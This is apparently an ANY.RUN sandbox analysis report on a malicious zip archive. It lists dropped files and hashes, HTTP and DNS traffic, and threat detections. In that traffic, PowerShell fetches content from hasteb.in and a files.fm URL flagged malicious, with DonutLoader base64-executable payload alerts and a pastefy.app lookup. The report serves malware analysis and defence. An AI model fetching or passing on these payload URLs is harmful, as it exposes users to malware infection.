(PID) Process:(684) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3d\52C64B7E
Operation:writeName:@C:\WINDOWS\System32\acppage.dll,-6002
Value:
Windows Batch File
Executable files
10
Suspicious files
517
Text files
359
Unknown types
3

Dropped files

PID
Process
Filename
Type
6200powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kgifiagw.qky.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6200powershell.exeC:\ProgramData\SCAN_04152026.battext
MD5:2F0D88D3BF5C54C7DF618AE6CF46B12E
SHA256:1D5F929B99CECF6F61ED1361670A6E133B0022A888B7878253B50696F236C7A5
6200powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x3wkx1xf.bti.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7692powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jujlzxip.ue2.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7692powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_byl4eizd.0vq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6200powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:F75D54EB9069DC0EBFF6A2812C3CB152
SHA256:D9AD6256AFBE8A23412B7435584AC3E24C3DE78F699EB7AF9DFD6D3620FF5819
5716csc.exeC:\Users\admin\AppData\Local\Temp\yalf5t1e.dllexecutable
MD5:8586315EA6EF7C602645254615826619
SHA256:1C52FF38B456439389BCAF3F67AF799FC6AE47EFC5C398E423E94C8C5000CB98
2300powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uddj4oni.5qt.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7692powershell.exeC:\Users\admin\AppData\Local\Temp\wrfdse.battext
MD5:0A8795635E3A8D307C8DE27041E93862
SHA256:998F5FA2632AE09051592B3EBAB3E31530B666FFB8ED23A1D5F3D05E0DA66D30
2748powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cz1lpgw1.jp4.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
244
TCP/UDP connections
149
DNS requests
107
Threats
16

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5276
MoUsoCoreWorker.exe
GET
304
20.73.194.208:443
https://settings-win.data.microsoft.com/settings/v3.0/wsd/muse?ProcessorClockSpeed=3094&FlightIds=&UpdateOfferedDays=4294967295&BranchReadinessLevel=CB&OEMManufacturerName=DELL&IsCloudDomainJoined=0&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&sku=48&ActivationChannel=Retail&AttrDataVer=186&IsMDMEnrolled=0&ProcessorCores=6&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&TotalPhysicalRAM=6144&PrimaryDiskType=4294967295&FlightingBranchName=&ChassisTypeId=1&OEMModelNumber=DELL&SystemVolumeTotalCapacity=260281&sampleId=95271487&deviceClass=Windows.Desktop&App=muse&DisableDualScan=0&AppVer=10.0&OEMSubModel=J5CR&locale=en-US&IsAlwaysOnAlwaysConnectedCapable=0&ms=0&DefaultUserRegion=244&UpdateServiceUrl=http%3A%2F%2Fneverupdatewindows10.com&osVer=10.0.19045.4046.amd64fre.vb_release.191206-1406&os=windows&deviceId=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&DeferQualityUpdatePeriodInDays=0&ring=Retail&DeferFeatureUpdatePeriodInDays=30
US
—
—
whitelisted
7784
svchost.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
825 b
whitelisted
5276
MoUsoCoreWorker.exe
GET
200
23.59.18.102:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
US
binary
814 b
whitelisted
7784
svchost.exe
GET
200
23.59.18.102:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
US
binary
814 b
whitelisted
2432
slui.exe
POST
500
48.192.1.65:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
US
text
512 b
whitelisted
2432
slui.exe
POST
500
48.192.1.64:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
US
text
512 b
whitelisted
7692
powershell.exe
GET
200
45.33.64.25:443
https://hasteb.in/ii5PfCz83aTcDgK
US
text
113 Kb
unknown
7692
powershell.exe
GET
200
88.99.139.125:80
http://fv5-4.files.fm/down.php?i=xf8bryaf29&n=drfojeS.txt
DE
text
977 Kb
malicious
6064
chrome.exe
GET
200
192.178.183.94:443
https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=133
US
binary
88.9 Kb
whitelisted
6064
chrome.exe
GET
200
142.251.20.100:80
http://clients2.google.com/time/1/current?cup2key=8:1hUdLN8Kr3lHQZGC0ujruvKv4ZXRiUfYiDCeNqP3Ug8&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
US
text
105 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
7784
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:137
—
Not routed
—
whitelisted
5276
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
8028
slui.exe
48.192.1.64:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:138
—
Not routed
—
whitelisted
7784
svchost.exe
2.16.164.120:80
crl.microsoft.com
AKAMAI-ASN1
NL
whitelisted
7784
svchost.exe
23.59.18.102:80
www.microsoft.com
AKAMAI-AS
US
whitelisted
5276
MoUsoCoreWorker.exe
23.59.18.102:80
www.microsoft.com
AKAMAI-AS
US
whitelisted
2432
slui.exe
48.192.1.64:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
5208
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
activation-v2.sls.microsoft.com
  • 48.192.1.64
whitelisted
google.com
  • 142.250.154.102
  • 142.250.154.101
  • 142.250.154.113
  • 142.250.154.100
  • 142.250.154.139
  • 142.250.154.138
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
  • 23.216.77.28
  • 23.216.77.6
whitelisted
www.microsoft.com
  • 23.59.18.102
  • 23.52.181.212
whitelisted
hasteb.in
  • 45.33.64.25
unknown
pastefy.app
  • 188.114.96.3
  • 188.114.97.3
unknown
fv5-4.files.fm
  • 88.99.139.125
unknown
clients2.google.com
  • 142.251.20.100
  • 142.251.20.138
  • 142.251.20.102
  • 142.251.20.139
  • 142.251.20.113
  • 142.251.20.101
whitelisted
safebrowsingohttpgateway.googleapis.com
  • 192.178.183.95
  • 142.251.14.95
  • 142.251.127.95
  • 142.250.154.95
  • 142.251.110.95
  • 142.251.13.95
  • 142.251.20.95
whitelisted

Threats

PID
Process
Class
Message
5276
MoUsoCoreWorker.exe
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
—
—
A Network Trojan was detected
ET MALWARE Windows executable base64 encoded
—
—
Misc activity
ET HUNTING EXE Base64 Encoded potential malware
—
—
A Network Trojan was detected
LOADER [ANY.RUN] DonutLoader base64-EXE payload retrieval in HTTP response
2232
svchost.exe
Misc activity
ET INFO Pastebin-like Service Domain in DNS Lookup (pastefy .app)
7692
powershell.exe
Misc activity
ET INFO Observed Pastebin-like Service (pastefy .app) in TLS SNI
7692
powershell.exe
A Network Trojan was detected
ET MALWARE Windows executable base64 encoded
7692
powershell.exe
Misc activity
ET HUNTING EXE Base64 Encoded potential malware
7692
powershell.exe
A Network Trojan was detected
LOADER [ANY.RUN] DonutLoader base64-EXE payload retrieval in HTTP response
5392
powershell.exe
Misc activity
ET INFO Observed Pastebin-like Service (pastefy .app) in TLS SNI
Process
Message
chrome.exe
RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\5i1turnc.eg4 directory exists )
msedge.exe
RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\wiil52ck.4sn directory exists )
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
f44496ea680cc44f780654589401186a67fe649e7e527631e9e08537a9aede1c.zip